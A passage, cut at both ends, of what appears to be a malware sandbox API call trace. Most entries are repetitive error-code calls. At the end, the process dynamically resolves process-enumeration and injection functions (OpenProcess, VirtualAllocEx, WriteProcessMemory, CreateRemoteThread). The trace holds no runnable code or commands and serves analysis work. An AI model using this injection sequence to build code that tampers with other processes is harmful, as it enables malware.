(dwErrCode=0x135) [0272.332] GetLastError () returned 0x135 [0272.332] GetCurrentThread () returned 0xfffffffe [0272.332] SetLastError (dwErrCode=0x139) [0272.332] GetLastError () returned 0x139 [0272.332] GetCurrentThread () returned 0xfffffffe [0272.332] SetLastError (dwErrCode=0x13d) [0272.332] GetLastError () returned 0x13d [0272.332] GetCurrentThread () returned 0xfffffffe [0272.332] SetLastError (dwErrCode=0x141) [0272.332] GetLastError () returned 0x141 [0272.332] GetCurrentThread () returned 0xfffffffe [0272.333] SetLastError (dwErrCode=0x145) [0272.333] GetLastError () returned 0x145 [0272.333] GetCurrentThread () returned 0xfffffffe [0272.333] SetLastError (dwErrCode=0x149) [0272.333] GetLastError () returned 0x149 [0272.333] GetCurrentThread () returned 0xfffffffe [0272.333] SetLastError (dwErrCode=0x14d) [0272.333] GetLastError () returned 0x14d [0272.333] GetCurrentThread () returned 0xfffffffe [0272.333] SetLastError (dwErrCode=0x151) [0272.333] GetLastError () returned 0x151 [0272.333] GetCurrentThread () returned 0xfffffffe [0272.333] SetLastError (dwErrCode=0x155) [0272.333] GetLastError () returned 0x155 [0272.333] GetCurrentThread () returned 0xfffffffe [0272.333] SetLastError (dwErrCode=0x159) [0272.333] GetLastError () returned 0x159 [0272.333] GetCurrentThread () returned 0xfffffffe [0272.333] SetLastError (dwErrCode=0x15d) [0272.333] GetLastError () returned 0x15d [0272.333] GetCurrentThread () returned 0xfffffffe [0272.333] SetLastError (dwErrCode=0x161) [0272.333] GetLastError () returned 0x161 [0272.333] GetCurrentThread () returned 0xfffffffe [0272.333] SetLastError (dwErrCode=0x165) [0272.333] GetLastError () returned 0x165 [0272.333] GetCurrentThread () returned 0xfffffffe [0272.333] SetLastError (dwErrCode=0x169) [0272.333] GetLastError () returned 0x169 [0272.333] GetCurrentThread () returned 0xfffffffe [0272.333] SetLastError (dwErrCode=0x16d) [0272.333] GetLastError () returned 0x16d [0272.333] GetCurrentThread () returned 0xfffffffe [0272.333] SetLastError (dwErrCode=0x171) [0272.334] GetLastError () returned 0x171 [0272.334] GetCurrentThread () returned 0xfffffffe [0272.334] SetLastError (dwErrCode=0x175) [0272.334] GetLastError () returned 0x175 [0272.334] GetCurrentThread () returned 0xfffffffe [0272.334] SetLastError (dwErrCode=0x179) [0272.334] GetLastError () returned 0x179 [0272.334] GetCurrentThread () returned 0xfffffffe [0272.334] SetLastError (dwErrCode=0x17d) [0272.334] GetLastError () returned 0x17d [0272.334] GetCurrentThread () returned 0xfffffffe [0272.334] SetLastError (dwErrCode=0x181) [0272.334] GetLastError () returned 0x181 [0272.334] GetCurrentThread () returned 0xfffffffe [0272.334] SetLastError (dwErrCode=0x185) [0272.334] GetLastError () returned 0x185 [0272.334] GetCurrentThread () returned 0xfffffffe [0272.334] SetLastError (dwErrCode=0x189) [0272.334] GetLastError () returned 0x189 [0272.334] GetCurrentThread () returned 0xfffffffe [0272.334] SetLastError (dwErrCode=0x18d) [0272.334] GetLastError () returned 0x18d [0272.334] GetCurrentThread () returned 0xfffffffe [0272.334] SetLastError (dwErrCode=0x191) [0272.334] GetLastError () returned 0x191 [0272.334] GetCurrentThread () returned 0xfffffffe [0272.334] SetLastError (dwErrCode=0x195) [0272.334] GetLastError () returned 0x195 [0272.334] GetCurrentThread () returned 0xfffffffe [0272.334] SetLastError (dwErrCode=0x199) [0272.334] GetLastError () returned 0x199 [0272.334] GetCurrentThread () returned 0xfffffffe [0272.334] SetLastError (dwErrCode=0x19d) [0272.335] GetLastError () returned 0x19d [0272.335] GetCurrentThread () returned 0xfffffffe [0272.335] SetLastError (dwErrCode=0x1a1) [0272.335] GetLastError () returned 0x1a1 [0272.335] GetCurrentThread () returned 0xfffffffe [0272.335] SetLastError (dwErrCode=0x1a5) [0272.335] GetLastError () returned 0x1a5 [0272.335] GetCurrentThread () returned 0xfffffffe [0272.335] SetLastError (dwErrCode=0x1a9) [0272.335] GetLastError () returned 0x1a9 [0272.335] GetCurrentThread () returned 0xfffffffe [0272.335] SetLastError (dwErrCode=0x1ad) [0272.335] GetLastError () returned 0x1ad [0272.335] GetCurrentThread () returned 0xfffffffe [0272.335] SetLastError (dwErrCode=0x1b1) [0272.335] GetLastError () returned 0x1b1 [0272.335] GetCurrentThread () returned 0xfffffffe [0272.335] SetLastError (dwErrCode=0x1b5) [0272.335] GetLastError () returned 0x1b5 [0272.335] GetCurrentThread () returned 0xfffffffe [0272.335] SetLastError (dwErrCode=0x1b9) [0272.335] GetLastError () returned 0x1b9 [0272.335] GetCurrentThread () returned 0xfffffffe [0272.335] SetLastError (dwErrCode=0x1bd) [0272.335] GetLastError () returned 0x1bd [0272.335] GetCurrentThread () returned 0xfffffffe [0272.335] SetLastError (dwErrCode=0x1c1) [0272.335] GetLastError () returned 0x1c1 [0272.335] GetCurrentThread () returned 0xfffffffe [0272.335] SetLastError (dwErrCode=0x1c5) [0272.335] GetLastError () returned 0x1c5 [0272.335] GetCurrentThread () returned 0xfffffffe [0272.335] SetLastError (dwErrCode=0x1c9) [0272.336] GetLastError () returned 0x1c9 [0272.336] GetCurrentThread () returned 0xfffffffe [0272.336] SetLastError (dwErrCode=0x1cd) [0272.336] GetLastError () returned 0x1cd [0272.336] GetCurrentThread () returned 0xfffffffe [0272.336] SetLastError (dwErrCode=0x1d1) [0272.336] GetLastError () returned 0x1d1 [0272.336] GetCurrentThread () returned 0xfffffffe [0272.336] SetLastError (dwErrCode=0x1d5) [0272.336] GetLastError () returned 0x1d5 [0272.336] GetCurrentThread () returned 0xfffffffe [0272.336] SetLastError (dwErrCode=0x1d9) [0272.336] GetLastError () returned 0x1d9 [0272.336] GetCurrentThread () returned 0xfffffffe [0272.336] SetLastError (dwErrCode=0x1dd) [0272.336] GetLastError () returned 0x1dd [0272.336] GetCurrentThread () returned 0xfffffffe [0272.336] SetLastError (dwErrCode=0x1e1) [0272.336] GetLastError () returned 0x1e1 [0272.336] GetCurrentThread () returned 0xfffffffe [0272.336] SetLastError (dwErrCode=0x1e5) [0272.336] GetLastError () returned 0x1e5 [0272.336] GetCurrentThread () returned 0xfffffffe [0272.336] SetLastError (dwErrCode=0x1e9) [0272.336] GetLastError () returned 0x1e9 [0272.336] GetCurrentThread () returned 0xfffffffe [0272.336] SetLastError (dwErrCode=0x1ed) [0272.336] GetLastError () returned 0x1ed [0272.337] GetCurrentThread () returned 0xfffffffe [0272.337] SetLastError (dwErrCode=0x1f1) [0272.337] GetLastError () returned 0x1f1 [0272.337] GetCurrentThread () returned 0xfffffffe [0272.337] SetLastError (dwErrCode=0x1f5) [0272.337] GetLastError () returned 0x1f5 [0272.337] GetCurrentThread () returned 0xfffffffe [0272.337] SetLastError (dwErrCode=0x1f9) [0272.337] GetLastError () returned 0x1f9 [0272.337] GetCurrentThread () returned 0xfffffffe [0272.337] SetLastError (dwErrCode=0x1fd) [0272.337] GetLastError () returned 0x1fd [0272.337] GetCurrentThread () returned 0xfffffffe [0272.337] SetLastError (dwErrCode=0x201) [0272.337] GetLastError () returned 0x201 [0272.337] GetCurrentThread () returned 0xfffffffe [0272.337] SetLastError (dwErrCode=0x205) [0272.337] GetLastError () returned 0x205 [0272.337] GetCurrentThread () returned 0xfffffffe [0272.337] SetLastError (dwErrCode=0x209) [0272.337] GetLastError () returned 0x209 [0272.337] GetCurrentThread () returned 0xfffffffe [0272.337] SetLastError (dwErrCode=0x20d) [0272.337] GetLastError () returned 0x20d [0272.337] GetCurrentThread () returned 0xfffffffe [0272.337] SetLastError (dwErrCode=0x211) [0272.337] GetLastError () returned 0x211 [0272.337] GetCurrentThread () returned 0xfffffffe [0272.337] SetLastError (dwErrCode=0x215) [0272.337] GetLastError () returned 0x215 [0272.337] GetCurrentThread () returned 0xfffffffe [0272.337] SetLastError (dwErrCode=0x219) [0272.337] GetLastError () returned 0x219 [0272.337] GetCurrentThread () returned 0xfffffffe [0272.337] SetLastError (dwErrCode=0x21d) [0272.338] GetLastError () returned 0x21d [0272.338] GetCurrentThread () returned 0xfffffffe [0272.338] SetLastError (dwErrCode=0x221) [0272.338] GetLastError () returned 0x221 [0272.338] GetCurrentThread () returned 0xfffffffe [0272.338] SetLastError (dwErrCode=0x225) [0272.338] GetLastError () returned 0x225 [0272.338] GetCurrentThread () returned 0xfffffffe [0272.338] SetLastError (dwErrCode=0x229) [0272.338] GetLastError () returned 0x229 [0272.338] GetCurrentThread () returned 0xfffffffe [0272.338] SetLastError (dwErrCode=0x22d) [0272.338] GetLastError () returned 0x22d [0272.338] GetCurrentThread () returned 0xfffffffe [0272.338] SetLastError (dwErrCode=0x231) [0272.338] GetLastError () returned 0x231 [0272.338] GetCurrentThread () returned 0xfffffffe [0272.338] SetLastError (dwErrCode=0x235) [0272.338] GetLastError () returned 0x235 [0272.338] GetCurrentThread () returned 0xfffffffe [0272.338] SetLastError (dwErrCode=0x239) [0272.338] GetLastError () returned 0x239 [0272.338] GetCurrentThread () returned 0xfffffffe [0272.338] SetLastError (dwErrCode=0x23d) [0272.338] GetLastError () returned 0x23d [0272.338] GetCurrentThread () returned 0xfffffffe [0272.338] SetLastError (dwErrCode=0x241) [0272.338] GetLastError () returned 0x241 [0272.338] GetCurrentThread () returned 0xfffffffe [0272.338] SetLastError (dwErrCode=0x245) [0272.338] GetLastError () returned 0x245 [0272.339] GetCurrentThread () returned 0xfffffffe [0272.339] SetLastError (dwErrCode=0x249) [0272.339] GetLastError () returned 0x249 [0272.339] GetCurrentThread () returned 0xfffffffe [0272.339] SetLastError (dwErrCode=0x24d) [0272.339] GetLastError () returned 0x24d [0272.339] GetCurrentThread () returned 0xfffffffe [0272.339] SetLastError (dwErrCode=0x251) [0272.339] GetLastError () returned 0x251 [0272.339] GetCurrentThread () returned 0xfffffffe [0272.339] SetLastError (dwErrCode=0x255) [0272.339] GetLastError () returned 0x255 [0272.339] GetCurrentThread () returned 0xfffffffe [0272.339] SetLastError (dwErrCode=0x259) [0272.339] GetLastError () returned 0x259 [0272.339] GetCurrentThread () returned 0xfffffffe [0272.339] SetLastError (dwErrCode=0x25d) [0272.339] GetLastError () returned 0x25d [0272.339] GetCurrentThread () returned 0xfffffffe [0272.339] SetLastError (dwErrCode=0x261) [0272.339] GetLastError () returned 0x261 [0272.339] GetCurrentThread () returned 0xfffffffe [0272.339] SetLastError (dwErrCode=0x265) [0272.339] GetLastError () returned 0x265 [0272.339] GetCurrentThread () returned 0xfffffffe [0272.339] SetLastError (dwErrCode=0x269) [0272.339] GetLastError () returned 0x269 [0272.339] GetCurrentThread () returned 0xfffffffe [0272.339] SetLastError (dwErrCode=0x26d) [0272.339] GetLastError () returned 0x26d [0272.339] GetCurrentThread () returned 0xfffffffe [0272.340] SetLastError (dwErrCode=0x271) [0272.340] GetLastError () returned 0x271 [0272.340] GetCurrentThread () returned 0xfffffffe [0272.340] SetLastError (dwErrCode=0x275) [0272.340] GetLastError () returned 0x275 [0272.340] GetCurrentThread () returned 0xfffffffe [0272.340] SetLastError (dwErrCode=0x279) [0272.340] GetLastError () returned 0x279 [0272.340] GetCurrentThread () returned 0xfffffffe [0272.340] SetLastError (dwErrCode=0x27d) [0272.340] GetLastError () returned 0x27d [0272.340] GetCurrentThread () returned 0xfffffffe [0272.340] SetLastError (dwErrCode=0x281) [0272.340] GetLastError () returned 0x281 [0272.340] GetCurrentThread () returned 0xfffffffe [0272.340] SetLastError (dwErrCode=0x285) [0272.340] GetLastError () returned 0x285 [0272.340] GetCurrentThread () returned 0xfffffffe [0272.340] SetLastError (dwErrCode=0x289) [0272.340] GetLastError () returned 0x289 [0272.340] GetCurrentThread () returned 0xfffffffe [0272.340] SetLastError (dwErrCode=0x28d) [0272.340] GetLastError () returned 0x28d [0272.340] GetCurrentThread () returned 0xfffffffe [0272.340] SetLastError (dwErrCode=0x291) [0272.340] GetLastError () returned 0x291 [0272.340] GetCurrentThread () returned 0xfffffffe [0272.340] SetLastError (dwErrCode=0x295) [0272.340] GetLastError () returned 0x295 [0272.340] GetCurrentThread () returned 0xfffffffe [0272.340] SetLastError (dwErrCode=0x299) [0272.340] GetLastError () returned 0x299 [0272.341] GetCurrentThread () returned 0xfffffffe [0272.341] SetLastError (dwErrCode=0x29d) [0272.341] GetLastError () returned 0x29d [0272.341] GetCurrentThread () returned 0xfffffffe [0272.341] SetLastError (dwErrCode=0x2a1) [0272.341] GetLastError () returned 0x2a1 [0272.341] GetCurrentThread () returned 0xfffffffe [0272.341] SetLastError (dwErrCode=0x2a5) [0272.341] GetLastError () returned 0x2a5 [0272.341] GetCurrentThread () returned 0xfffffffe [0272.341] SetLastError (dwErrCode=0x2a9) [0272.342] GetLastError () returned 0x2a9 [0272.342] GetCurrentThread () returned 0xfffffffe [0272.342] SetLastError (dwErrCode=0x2ad) [0272.342] GetLastError () returned 0x2ad [0272.342] GetCurrentThread () returned 0xfffffffe [0272.342] SetLastError (dwErrCode=0x2b1) [0272.342] GetLastError () returned 0x2b1 [0272.342] GetCurrentThread () returned 0xfffffffe [0272.342] SetLastError (dwErrCode=0x2b5) [0272.342] GetLastError () returned 0x2b5 [0272.342] GetCurrentThread () returned 0xfffffffe [0272.342] SetLastError (dwErrCode=0x2b9) [0272.342] GetLastError () returned 0x2b9 [0272.342] GetCurrentThread () returned 0xfffffffe [0272.342] SetLastError (dwErrCode=0x2bd) [0272.342] GetLastError () returned 0x2bd [0272.342] GetCurrentThread () returned 0xfffffffe [0272.343] SetLastError (dwErrCode=0x2c1) [0272.343] GetLastError () returned 0x2c1 [0272.343] GetCurrentThread () returned 0xfffffffe [0272.343] SetLastError (dwErrCode=0x2c5) [0272.343] GetLastError () returned 0x2c5 [0272.343] GetCurrentThread () returned 0xfffffffe [0272.343] SetLastError (dwErrCode=0x2c9) [0272.343] GetLastError () returned 0x2c9 [0272.343] GetCurrentThread () returned 0xfffffffe [0272.343] SetLastError (dwErrCode=0x2cd) [0272.343] GetLastError () returned 0x2cd [0272.343] GetCurrentThread () returned 0xfffffffe [0272.343] SetLastError (dwErrCode=0x2d1) [0272.343] GetLastError () returned 0x2d1 [0272.343] GetCurrentThread () returned 0xfffffffe [0272.343] SetLastError (dwErrCode=0x2d5) [0272.343] GetLastError () returned 0x2d5 [0272.343] GetCurrentThread () returned 0xfffffffe [0272.343] SetLastError (dwErrCode=0x2d9) [0272.343] GetLastError () returned 0x2d9 [0272.343] GetCurrentThread () returned 0xfffffffe [0272.343] SetLastError (dwErrCode=0x2dd) [0272.343] GetLastError () returned 0x2dd [0272.343] GetCurrentThread () returned 0xfffffffe [0272.343] SetLastError (dwErrCode=0x2e1) [0272.343] GetLastError () returned 0x2e1 [0272.343] GetCurrentThread () returned 0xfffffffe [0272.343] SetLastError (dwErrCode=0x2e5) [0272.344] GetLastError () returned 0x2e5 [0272.344] GetCurrentThread () returned 0xfffffffe [0272.344] SetLastError (dwErrCode=0x2e9) [0272.344] GetLastError () returned 0x2e9 [0272.344] GetCurrentThread () returned 0xfffffffe [0272.344] SetLastError (dwErrCode=0x2ed) [0272.344] GetLastError () returned 0x2ed [0272.344] GetCurrentThread () returned 0xfffffffe [0272.344] SetLastError (dwErrCode=0x2f1) [0272.344] GetLastError () returned 0x2f1 [0272.344] GetCurrentThread () returned 0xfffffffe [0272.344] SetLastError (dwErrCode=0x2f5) [0272.344] GetLastError () returned 0x2f5 [0272.344] GetCurrentThread () returned 0xfffffffe [0272.344] SetLastError (dwErrCode=0x2f9) [0272.344] GetLastError () returned 0x2f9 [0272.344] GetCurrentThread () returned 0xfffffffe [0272.344] SetLastError (dwErrCode=0x2fd) [0272.344] GetLastError () returned 0x2fd [0272.344] GetCurrentThread () returned 0xfffffffe [0272.344] SetLastError (dwErrCode=0x301) [0272.344] GetLastError () returned 0x301 [0272.344] GetCurrentThread () returned 0xfffffffe [0272.344] SetLastError (dwErrCode=0x305) [0272.344] GetLastError () returned 0x305 [0272.344] GetCurrentThread () returned 0xfffffffe [0272.345] SetLastError (dwErrCode=0x309) [0272.345] GetLastError () returned 0x309 [0272.345] GetCurrentThread () returned 0xfffffffe [0272.345] SetLastError (dwErrCode=0x30d) [0272.345] GetLastError () returned 0x30d [0272.345] GetCurrentThread () returned 0xfffffffe [0272.345] SetLastError (dwErrCode=0x311) [0272.345] GetLastError () returned 0x311 [0272.345] GetCurrentThread () returned 0xfffffffe [0272.345] SetLastError (dwErrCode=0x315) [0272.345] GetLastError () returned 0x315 [0272.345] GetCurrentThread () returned 0xfffffffe [0272.345] SetLastError (dwErrCode=0x319) [0272.345] GetLastError () returned 0x319 [0272.345] GetCurrentThread () returned 0xfffffffe [0272.345] SetLastError (dwErrCode=0x31d) [0272.345] GetLastError () returned 0x31d [0272.345] GetCurrentThread () returned 0xfffffffe [0272.345] SetLastError (dwErrCode=0x321) [0272.345] GetLastError () returned 0x321 [0272.345] GetCurrentThread () returned 0xfffffffe [0272.345] SetLastError (dwErrCode=0x325) [0272.345] GetLastError () returned 0x325 [0272.345] GetCurrentThread () returned 0xfffffffe [0272.346] SetLastError (dwErrCode=0x329) [0272.346] GetLastError () returned 0x329 [0272.346] GetCurrentThread () returned 0xfffffffe [0272.346] SetLastError (dwErrCode=0x32d) [0272.346] GetLastError () returned 0x32d [0272.346] GetCurrentThread () returned 0xfffffffe [0272.346] SetLastError (dwErrCode=0x331) [0272.346] GetLastError () returned 0x331 [0272.346] GetCurrentThread () returned 0xfffffffe [0272.346] SetLastError (dwErrCode=0x335) [0272.346] GetLastError () returned 0x335 [0272.346] GetCurrentThread () returned 0xfffffffe [0272.346] SetLastError (dwErrCode=0x339) [0272.346] GetLastError () returned 0x339 [0272.346] GetCurrentThread () returned 0xfffffffe [0272.346] SetLastError (dwErrCode=0x33d) [0272.346] GetLastError () returned 0x33d [0272.346] GetCurrentThread () returned 0xfffffffe [0272.346] SetLastError (dwErrCode=0x341) [0272.346] GetLastError () returned 0x341 [0272.346] GetCurrentThread () returned 0xfffffffe [0272.346] SetLastError (dwErrCode=0x345) [0272.346] GetLastError () returned 0x345 [0272.346] GetCurrentThread () returned 0xfffffffe [0272.347] SetLastError (dwErrCode=0x349) [0272.347] GetLastError () returned 0x349 [0272.347] GetCurrentThread () returned 0xfffffffe [0272.347] SetLastError (dwErrCode=0x34d) [0272.347] GetLastError () returned 0x34d [0272.347] GetCurrentThread () returned 0xfffffffe [0272.347] SetLastError (dwErrCode=0x351) [0272.347] GetLastError () returned 0x351 [0272.347] GetCurrentThread () returned 0xfffffffe [0272.347] SetLastError (dwErrCode=0x355) [0272.347] GetLastError () returned 0x355 [0272.347] GetCurrentThread () returned 0xfffffffe [0272.347] SetLastError (dwErrCode=0x359) [0272.347] GetLastError () returned 0x359 [0272.347] GetCurrentThread () returned 0xfffffffe [0272.347] SetLastError (dwErrCode=0x35d) [0272.347] GetLastError () returned 0x35d [0272.347] GetCurrentThread () returned 0xfffffffe [0272.347] SetLastError (dwErrCode=0x361) [0272.347] GetLastError () returned 0x361 [0272.347] GetCurrentThread () returned 0xfffffffe [0272.347] SetLastError (dwErrCode=0x365) [0272.347] GetLastError () returned 0x365 [0272.347] GetCurrentThread () returned 0xfffffffe [0272.347] SetLastError (dwErrCode=0x369) [0272.347] GetLastError () returned 0x369 [0272.348] GetCurrentThread () returned 0xfffffffe [0272.348] SetLastError (dwErrCode=0x36d) [0272.348] GetLastError () returned 0x36d [0272.348] GetCurrentThread () returned 0xfffffffe [0272.348] SetLastError (dwErrCode=0x371) [0272.348] GetLastError () returned 0x371 [0272.348] GetCurrentThread () returned 0xfffffffe [0272.348] SetLastError (dwErrCode=0x375) [0272.348] GetLastError () returned 0x375 [0272.348] GetCurrentThread () returned 0xfffffffe [0272.348] SetLastError (dwErrCode=0x379) [0272.348] GetLastError () returned 0x379 [0272.348] GetCurrentThread () returned 0xfffffffe [0272.348] SetLastError (dwErrCode=0x37d) [0272.348] GetLastError () returned 0x37d [0272.348] GetCurrentThread () returned 0xfffffffe [0272.348] SetLastError (dwErrCode=0x381) [0272.348] GetLastError () returned 0x381 [0272.348] GetCurrentThread () returned 0xfffffffe [0272.348] SetLastError (dwErrCode=0x385) [0272.348] GetLastError () returned 0x385 [0272.348] GetCurrentThread () returned 0xfffffffe [0272.348] SetLastError (dwErrCode=0x389) [0272.348] GetLastError () returned 0x389 [0272.348] GetCurrentThread () returned 0xfffffffe [0272.348] SetLastError (dwErrCode=0x38d) [0272.348] GetLastError () returned 0x38d [0272.348] GetCurrentThread () returned 0xfffffffe [0272.348] SetLastError (dwErrCode=0x391) [0272.348] GetLastError () returned 0x391 [0272.349] GetCurrentThread () returned 0xfffffffe [0272.349] SetLastError (dwErrCode=0x395) [0272.349] GetLastError () returned 0x395 [0272.349] GetCurrentThread () returned 0xfffffffe [0272.349] SetLastError (dwErrCode=0x399) [0272.349] GetLastError () returned 0x399 [0272.349] GetCurrentThread () returned 0xfffffffe [0272.349] SetLastError (dwErrCode=0x39d) [0272.349] GetLastError () returned 0x39d [0272.349] GetCurrentThread () returned 0xfffffffe [0272.349] SetLastError (dwErrCode=0x3a1) [0272.349] GetLastError () returned 0x3a1 [0272.349] GetCurrentThread () returned 0xfffffffe [0272.349] SetLastError (dwErrCode=0x3a5) [0272.349] GetLastError () returned 0x3a5 [0272.349] GetCurrentThread () returned 0xfffffffe [0272.349] SetLastError (dwErrCode=0x3a9) [0272.349] GetLastError () returned 0x3a9 [0272.349] GetCurrentThread () returned 0xfffffffe [0272.349] SetLastError (dwErrCode=0x3ad) [0272.349] GetLastError () returned 0x3ad [0272.349] GetCurrentThread () returned 0xfffffffe [0272.349] SetLastError (dwErrCode=0x3b1) [0272.349] GetLastError () returned 0x3b1 [0272.349] GetCurrentThread () returned 0xfffffffe [0272.349] SetLastError (dwErrCode=0x3b5) [0272.349] GetLastError () returned 0x3b5 [0272.349] GetCurrentThread () returned 0xfffffffe [0272.350] SetLastError (dwErrCode=0x3b9) [0272.350] GetLastError () returned 0x3b9 [0272.350] GetCurrentThread () returned 0xfffffffe [0272.350] SetLastError (dwErrCode=0x3bd) [0272.350] GetLastError () returned 0x3bd [0272.350] GetCurrentThread () returned 0xfffffffe [0272.350] SetLastError (dwErrCode=0x3c1) [0272.350] GetLastError () returned 0x3c1 [0272.350] GetCurrentThread () returned 0xfffffffe [0272.350] SetLastError (dwErrCode=0x3c5) [0272.350] GetLastError () returned 0x3c5 [0272.350] GetCurrentThread () returned 0xfffffffe [0272.350] SetLastError (dwErrCode=0x3c9) [0272.350] GetLastError () returned 0x3c9 [0272.350] GetCurrentThread () returned 0xfffffffe [0272.350] SetLastError (dwErrCode=0x3cd) [0272.350] GetLastError () returned 0x3cd [0272.350] GetCurrentThread () returned 0xfffffffe [0272.350] SetLastError (dwErrCode=0x3d1) [0272.350] GetLastError () returned 0x3d1 [0272.350] GetCurrentThread () returned 0xfffffffe [0272.350] SetLastError (dwErrCode=0x3d5) [0272.350] GetLastError () returned 0x3d5 [0272.350] GetCurrentThread () returned 0xfffffffe [0272.350] SetLastError (dwErrCode=0x3d9) [0272.350] GetLastError () returned 0x3d9 [0272.350] GetCurrentThread () returned 0xfffffffe [0272.350] SetLastError (dwErrCode=0x3dd) [0272.350] GetLastError () returned 0x3dd [0272.350] GetCurrentThread () returned 0xfffffffe [0272.351] SetLastError (dwErrCode=0x3e1) [0272.351] GetLastError () returned 0x3e1 [0272.351] GetCurrentThread () returned 0xfffffffe [0272.351] SetLastError (dwErrCode=0x3e5) [0272.351] GetLastError () returned 0x3e5 [0272.351] GetCurrentThread () returned 0xfffffffe [0272.351] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x100) returned 0x26ef5a8 [0272.351] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x373c) returned 0x26704a0 [0272.351] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6b0 [0272.351] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26ef6c8 [0272.352] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0272.352] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0272.352] lstrlenA (lpString="kernel32.dll") returned 12 [0272.352] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.352] lstrlenA (lpString="GetModuleHandleA") returned 16 [0272.352] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6c8 | out: hHeap=0x2670000) returned 1 [0272.352] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6b0 [0272.352] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef6c8 [0272.352] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0272.352] lstrlenA (lpString="kernel32.dll") returned 12 [0272.352] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.353] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0272.353] lstrlenA (lpString="GetProcAddress") returned 14 [0272.353] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6c8 | out: hHeap=0x2670000) returned 1 [0272.353] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x19) returned 0x26ef6b0 [0272.353] GetProcAddress (hModule=0x74560000, lpProcName="CreateToolhelp32Snapshot") returned 0x745aedc0 [0272.353] lstrlenA (lpString="CreateToolhelp32Snapshot") returned 24 [0272.353] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.353] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef6b0 [0272.353] GetProcAddress (hModule=0x74560000, lpProcName="Process32First") returned 0x745af810 [0272.353] lstrlenA (lpString="Process32First") returned 14 [0272.353] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.353] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26ef6b0 [0272.353] GetProcAddress (hModule=0x74560000, lpProcName="Process32Next") returned 0x745af9a0 [0272.353] lstrlenA (lpString="Process32Next") returned 13 [0272.354] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.354] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26ef6b0 [0272.354] GetProcAddress (hModule=0x74560000, lpProcName="Module32First") returned 0x745afc90 [0272.354] lstrlenA (lpString="Module32First") returned 13 [0272.354] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.354] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6b0 [0272.354] GetProcAddress (hModule=0x74560000, lpProcName="Module32Next") returned 0x745afe30 [0272.354] lstrlenA (lpString="Module32Next") returned 12 [0272.354] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.354] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef6b0 [0272.354] GetProcAddress (hModule=0x74560000, lpProcName="CreateRemoteThread") returned 0x74574670 [0272.354] lstrlenA (lpString="CreateRemoteThread") returned 18 [0272.355] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.355] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef6b0 [0272.355] GetProcAddress (hModule=0x74560000, lpProcName="WriteProcessMemory") returned 0x74576b70 [0272.355] lstrlenA (lpString="WriteProcessMemory") returned 18 [0272.355] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.355] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x26ef6b0 [0272.355] GetProcAddress (hModule=0x74560000, lpProcName="ReadProcessMemory") returned 0x74575e30 [0272.355] lstrlenA (lpString="ReadProcessMemory") returned 17 [0272.355] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.355] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef6b0 [0272.355] GetProcAddress (hModule=0x74560000, lpProcName="OpenProcess") returned 0x74575cc0 [0272.355] lstrlenA (lpString="OpenProcess") returned 11 [0272.355] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.355] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef6b0 [0272.356] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAllocEx") returned 0x74576990 [0272.356] lstrlenA (lpString="VirtualAllocEx") returned 14 [0272.356] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.356] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26ef6b0 [0272.356] GetProcAddress (hModule=0x74560000, lpProcName="VirtualFreeEx") returned 0x745769f0 [0272.356] lstrlenA (lpString="VirtualFreeEx") returned 13 [0272.356] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: 